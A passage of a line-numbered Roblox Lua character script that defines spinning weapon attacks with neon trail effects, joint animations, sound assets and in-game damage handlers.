  3821. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
  3822. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3823. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
  3824. RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
  3825. LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
  3826. RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3827. LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3828. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3829. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3830. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3831. end
  3832. end
  3833. swait(20)
  3834. Humanoid.WalkSpeed = 12
  3835. --dmgstop()
  3836. attack=false
  3837. end
  3838. end
  3839.  
  3840. function Spin()
  3841. attack=true
  3842. mana=mana-40
  3843. if TrailDeb == false then
  3844. TrailDeb = true
  3845. end
  3846.  
  3847. coroutine.wrap(function()
  3848. local Old = Handle2.CFrame.p
  3849. while wait()do
  3850. if not TrailDeb then break end
  3851. local New = Handle2.CFrame.p
  3852. local Mag =(Old -New).magnitude
  3853. local Dis =(Old +New)/2
  3854. local Trail = Instance.new("Part",Character)
  3855. Trail.Material = "Neon"
  3856. Trail.Anchored = true
  3857. Trail.CanCollide = false
  3858. Trail.BrickColor = TorsoColor
  3859. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3860. Trail.TopSurface = 0
  3861. Trail.BottomSurface = 0
  3862. Trail.formFactor = "Custom"
  3863. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3864. local ms = Instance.new("BlockMesh",Trail)
  3865. ms.Scale = Vector3.new(1,1,1)
  3866. local TM = Instance.new("CylinderMesh",Trail)
  3867. TM.Scale = Vector3.new(1,1,1)
  3868. Old = New
  3869. coroutine.wrap(function()
  3870. for i = 1,0,-0.1 do
  3871. wait()
  3872. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3873. end
  3874. Trail:remove()
  3875. end)()
  3876. coroutine.wrap(function()
  3877. for i = 1,10 do
  3878. wait()
  3879. Trail.Transparency = Trail.Transparency +0.1
  3880. end end)()end end)()
  3881. coroutine.wrap(function()
  3882. local Old = Handle.CFrame.p
  3883. while wait()do
  3884. if not TrailDeb then break end
  3885. local New = Handle.CFrame.p
  3886. local Mag =(Old -New).magnitude
  3887. local Dis =(Old +New)/2
  3888. local Trail = Instance.new("Part",Character)
  3889. Trail.Material = "Neon"
  3890. Trail.Anchored = true
  3891. Trail.CanCollide = false
  3892. Trail.BrickColor = TorsoColor
  3893. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3894. Trail.TopSurface = 0
  3895. Trail.BottomSurface = 0
  3896. Trail.formFactor = "Custom"
  3897. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3898. local ms = Instance.new("BlockMesh",Trail)
  3899. ms.Scale = Vector3.new(1,1,1)
  3900. local TM = Instance.new("CylinderMesh",Trail)
  3901. TM.Scale = Vector3.new(1,1,1)
  3902. Old = New
  3903. coroutine.wrap(function()
  3904. for i = 1,0,-0.1 do
  3905. wait()
  3906. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3907. end
  3908. Trail:remove()
  3909. end)()
  3910. coroutine.wrap(function()
  3911. for i = 1,10 do
  3912. wait()
  3913. Trail.Transparency = Trail.Transparency +0.1
  3914. end end)()end end)()
  3915. Footsteps:Stop()
  3916. Footsteps2:Stop()
  3917. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3918. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3919. so("http://www.roblox.com/asset/?id=159882497",Torso,1,1)
  3920. for i=0,1,0.1 do
  3921. swait()
  3922. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3923. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3924. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3925. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3926. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3927. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3928. end
  3929. if anim then
  3930. anim.Disabled=true
  3931. end
  3932. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3933. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3934. for i=0,1,0.05 do
  3935. swait()
  3936. Torso.Velocity=RootPart.CFrame.lookVector*100
  3937. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3938. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3939. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3940. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3941. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3942. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3943. end
  3944. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3945. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3946. for i=0,1,0.05 do
  3947. swait()
  3948. Torso.Velocity=RootPart.CFrame.lookVector*100
  3949. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3950. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3951. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3952. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3953. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3954. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3955. end
  3956. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3957. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3958. for i=0,1,0.05 do
  3959. swait()
  3960. Torso.Velocity=RootPart.CFrame.lookVector*100
  3961. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3962. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3963. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3964. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3965. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3966. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3967. end
  3968. --dmgstop()
  3969. Humanoid.WalkSpeed=12
  3970. attack=false
  3971. con1:disconnect()
  3972. con2:disconnect()
  3973. if anim then
  3974. anim.Disabled=false
  3975. end
  3976. if TrailDeb == true then
  3977. TrailDeb = false
  3978. end
  3979. end
  3980.  
  3981. function Twirl()
  3982. mana=mana-50
  3983. attack=true
  3984. if TrailDeb == false then
  3985. TrailDeb = true
  3986. end
  3987.  
  3988.  
  3989. coroutine.wrap(function()
  3990. local Old = Handle2.CFrame.p
  3991. while wait()do
  3992. if not TrailDeb then break end
  3993. local New = Handle2.CFrame.p
  3994. local Mag =(Old -New).magnitude
  3995. local Dis =(Old +New)/2
  3996. local Trail = Instance.new("Part",Character)
  3997. Trail.Material = "Neon"
  3998. Trail.Anchored = true
  3999. Trail.CanCollide = false
  4000. Trail.BrickColor = TorsoColor
  4001. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4002. Trail.TopSurface = 0
  4003. Trail.BottomSurface = 0
  4004. Trail.formFactor = "Custom"
  4005. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4006. local ms = Instance.new("BlockMesh",Trail)
  4007. ms.Scale = Vector3.new(1,1,1)
  4008. local TM = Instance.new("CylinderMesh",Trail)
  4009. TM.Scale = Vector3.new(1,1,1)
  4010. Old = New
  4011. coroutine.wrap(function()
  4012. for i = 1,0,-0.1 do
  4013. wait()
  4014. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4015. end
  4016. Trail:remove()
  4017. end)()
  4018. coroutine.wrap(function()
  4019. for i = 1,10 do
  4020. wait()
  4021. Trail.Transparency = Trail.Transparency +0.1
  4022. end end)()end end)()
  4023. coroutine.wrap(function()
  4024. local Old = Handle.CFrame.p
  4025. while wait()do
  4026. if not TrailDeb then break end
  4027. local New = Handle.CFrame.p
  4028. local Mag =(Old -New).magnitude
  4029. local Dis =(Old +New)/2
  4030. local Trail = Instance.new("Part",Character)
  4031. Trail.Material = "Neon"
  4032. Trail.Anchored = true
  4033. Trail.CanCollide = false
  4034. Trail.BrickColor = TorsoColor
  4035. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4036. Trail.TopSurface = 0
  4037. Trail.BottomSurface = 0
  4038. Trail.formFactor = "Custom"
  4039. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4040. local ms = Instance.new("BlockMesh",Trail)
  4041. ms.Scale = Vector3.new(1,1,1)
  4042. local TM = Instance.new("CylinderMesh",Trail)
  4043. TM.Scale = Vector3.new(1,1,1)
  4044. Old = New
  4045. coroutine.wrap(function()
  4046. for i = 1,0,-0.1 do
  4047. wait()
  4048. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4049. end
  4050. Trail:remove()
  4051. end)()
  4052. coroutine.wrap(function()
  4053. for i = 1,10 do
  4054. wait()
  4055. Trail.Transparency = Trail.Transparency +0.1
  4056. end end)()end end)()
  4057. Footsteps:Stop()
  4058. Footsteps2:Stop()
  4059. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4060. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4061. so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
  4062. for i=0,1,0.1 do
  4063. swait()
  4064. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4065. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4066. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4067. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4068. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4069. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4070. end
  4071. if anim then
  4072. anim.Disabled=true
  4073. end
  4074. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4075. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4076. for i=0,1,0.05 do
  4077. swait()
  4078. Torso.Velocity=RootPart.CFrame.lookVector*80
  4079. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4080. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4081. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4082. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4083. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4084. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4085. end
  4086. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4087. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4088. for i=0,1,0.05 do
  4089. swait()
  4090. Torso.Velocity=RootPart.CFrame.lookVector*80
  4091. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4092. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4093. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4094. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4095. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4096. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4097. end
  4098. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4099. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4100. for i=0,1,0.05 do
  4101. swait()
  4102. Torso.Velocity=RootPart.CFrame.lookVector*80
  4103. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4104. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4105. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4106. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4107. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4108. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4109. end
  4110. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4111. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4112. for i=0,1,0.05 do
  4113. swait()
  4114. Torso.Velocity=RootPart.CFrame.lookVector*80
  4115. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4116. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4117. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4118. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4119. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4120. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4121. end
  4122. --dmgstop()
  4123. Humanoid.WalkSpeed=12
  4124. attack=false
  4125. con1:disconnect()
  4126. con2:disconnect()
  4127. if anim then
  4128. anim.Disabled=false
  4129. end
  4130. if TrailDeb == true then
  4131. TrailDeb = false
  4132. end
  4133. end
  4134.  
  4135. function Shred()
  4136. attack=true
  4137. mana=mana-100
  4138. if TrailDeb == false then
  4139. TrailDeb = true
  4140. end
  4141.  
  4142.  
  4143. coroutine.wrap(function()
  4144. local Old = Handle2.CFrame.p
  4145. while wait()do
  4146. if not TrailDeb then break end
  4147. local New = Handle2.CFrame.p
  4148. local Mag =(Old -New).magnitude
  4149. local Dis =(Old +New)/2
  4150. local Trail = Instance.new("Part",Character)
  4151. Trail.Material = "Neon"
  4152. Trail.Anchored = true
  4153. Trail.CanCollide = false
  4154. Trail.BrickColor = TorsoColor
  4155. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4156. Trail.TopSurface = 0
  4157. Trail.BottomSurface = 0
  4158. Trail.formFactor = "Custom"
  4159. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4160. local ms = Instance.new("BlockMesh",Trail)
  4161. ms.Scale = Vector3.new(1,1,1)
  4162. local TM = Instance.new("CylinderMesh",Trail)
  4163. TM.Scale = Vector3.new(1,1,1)
  4164. Old = New
  4165. coroutine.wrap(function()
  4166. for i = 1,0,-0.1 do
  4167. wait()
  4168. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4169. end
  4170. Trail:remove()
  4171. end)()
  4172. coroutine.wrap(function()
  4173. for i = 1,10 do
  4174. wait()
  4175. Trail.Transparency = Trail.Transparency +0.1
  4176. end end)()end end)()
  4177. coroutine.wrap(function()
  4178. local Old = Handle.CFrame.p
  4179. while wait()do
  4180. if not TrailDeb then break end
  4181. local New = Handle.CFrame.p
  4182. local Mag =(Old -New).magnitude
  4183. local Dis =(Old +New)/2
  4184. local Trail = Instance.new("Part",Character)
  4185. Trail.Material = "Neon"
  4186. Trail.Anchored = true
  4187. Trail.CanCollide = false
  4188. Trail.BrickColor = TorsoColor
  4189. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4190. Trail.TopSurface = 0
  4191. Trail.BottomSurface = 0
  4192. Trail.formFactor = "Custom"
  4193. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4194. local ms = Instance.new("BlockMesh",Trail)
  4195. ms.Scale = Vector3.new(1,1,1)
  4196. local TM = Instance.new("CylinderMesh",Trail)
  4197. TM.Scale = Vector3.new(1,1,1)
  4198. Old = New
  4199. coroutine.wrap(function()
  4200. for i = 1,0,-0.1 do
  4201. wait()
  4202. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4203. end
  4204. Trail:remove()
  4205. end)()
  4206. coroutine.wrap(function()
  4207. for i = 1,10 do
  4208. wait()
  4209. Trail.Transparency = Trail.Transparency +0.1
  4210. end end)()end end)()
  4211. Footsteps:Stop()
  4212. Footsteps2:Stop()
  4213. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4214. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4215. so("http://www.roblox.com/asset/?id=159882578",Torso,1,1)
  4216. for i=0,1,0.1 do
  4217. swait()
  4218. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4219. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4220. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4221. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4222. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4223. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4224. end
  4225. if anim then
  4226. anim.Disabled=true
  4227. end
  4228. for i=0,1,0.05 do
  4229. swait()
  4230. Torso.Velocity=RootPart.CFrame.lookVector*20
  4231. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4232. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4233. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
  4234. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4235. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4236. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4237. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4238. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4239. end
  4240. for i=0,1,0.05 do
  4241. swait()
  4242. Torso.Velocity=RootPart.CFrame.lookVector*40
  4243. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4244. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4245. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
  4246. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4247. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4248. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4249. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4250. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4251. end
  4252. for i=0,1,0.05 do
  4253. swait()
  4254. Torso.Velocity=RootPart.CFrame.lookVector*60
  4255. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4256. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4257. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
  4258. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4259. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4260. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4261. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4262. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4263. end
  4264. so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
  4265. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4266. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4267. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4268. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4269. for i=0,1,0.05 do
  4270. swait()
  4271. Torso.Velocity=RootPart.CFrame.lookVector*80
  4272. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
  4273. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4274. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4275. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4276. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4277. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4278. end
  4279. for i=0,1,0.005 do
  4280. swait()
  4281. Torso.Velocity=RootPart.CFrame.lookVector*100
  4282. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
  4283. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4284. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4285. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4286. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4287. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4288. end
  4289. --dmgstop()
  4290. Humanoid.WalkSpeed=12
  4291. attack=false
  4292. con1:disconnect()
  4293. con2:disconnect()
  4294. if anim then
  4295. anim.Disabled=false
  4296. end
  4297. if TrailDeb == true then
  4298. TrailDeb = false
  4299. end
  4300. end
  4301.  
  4302. function Push()
  4303. attack=true
  4304. mana=mana-20
  4305. if TrailDeb == false then
  4306. TrailDeb = true
  4307. end
  4308.  
  4309.  
  4310. coroutine.wrap(function()
  4311. local Old = Handle2.CFrame.p
  4312. while wait()do
  4313. if not TrailDeb then break end
  4314. local New = Handle2.CFrame.p
  4315. local Mag =(Old -New).magnitude
  4316. local Dis =(Old +New)/2
  4317. local Trail = Instance.new("Part",Character)
  4318. Trail.Material = "Neon"
  4319. Trail.Anchored = true
  4320. Trail.CanCollide = false
  4321. Trail.BrickColor = TorsoColor
  4322. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4323. Trail.TopSurface = 0
  4324. Trail.BottomSurface = 0
  4325. Trail.formFactor = "Custom"
  4326. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4327. local ms = Instance.new("BlockMesh",Trail)
  4328. ms.Scale = Vector3.new(1,1,1)
  4329. local TM = Instance.new("CylinderMesh",Trail)
  4330. TM.Scale = Vector3.new(1,1,1)
  4331. Old = New
  4332. coroutine.wrap(function()
  4333. for i = 1,0,-0.1 do
  4334. wait()
  4335. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4336. end
  4337. Trail:remove()
  4338. end)()
  4339. coroutine.wrap(function()
  4340. for i = 1,10 do
  4341. wait()
  4342. Trail.Transparency = Trail.Transparency +0.1
  4343. end end)()end end)()
  4344. coroutine.wrap(function()
  4345. local Old = Handle.CFrame.p
  4346. while wait()do
  4347. if not TrailDeb then break end
  4348. local New = Handle.CFrame.p
  4349. local Mag =(Old -New).magnitude
  4350. local Dis =(Old +New)/2
  4351. local Trail = Instance.new("Part",Character)
  4352. Trail.Material = "Neon"
  4353. Trail.Anchored = true
  4354. Trail.CanCollide = false
  4355. Trail.BrickColor = TorsoColor
  4356. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4357. Trail.TopSurface = 0
  4358. Trail.BottomSurface = 0
  4359. Trail.formFactor = "Custom"
  4360. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4361. local ms = Instance.new("BlockMesh",Trail)
  4362. ms.Scale = Vector3.new(1,1,1)
  4363. local TM = Instance.new("CylinderMesh",Trail)
  4364. TM.Scale = Vector3.new(1,1,1)
  4365. Old = New
  4366. coroutine.wrap(function()
  4367. for i = 1,0,-0.1 do
  4368. wait()
  4369. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4370. end
  4371. Trail:remove()
  4372. end)()
  4373. coroutine.wrap(function()
  4374. for i = 1,10 do
  4375. wait()
  4376. Trail.Transparency = Trail.Transparency +0.1
  4377. end end)()end end)()
  4378. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
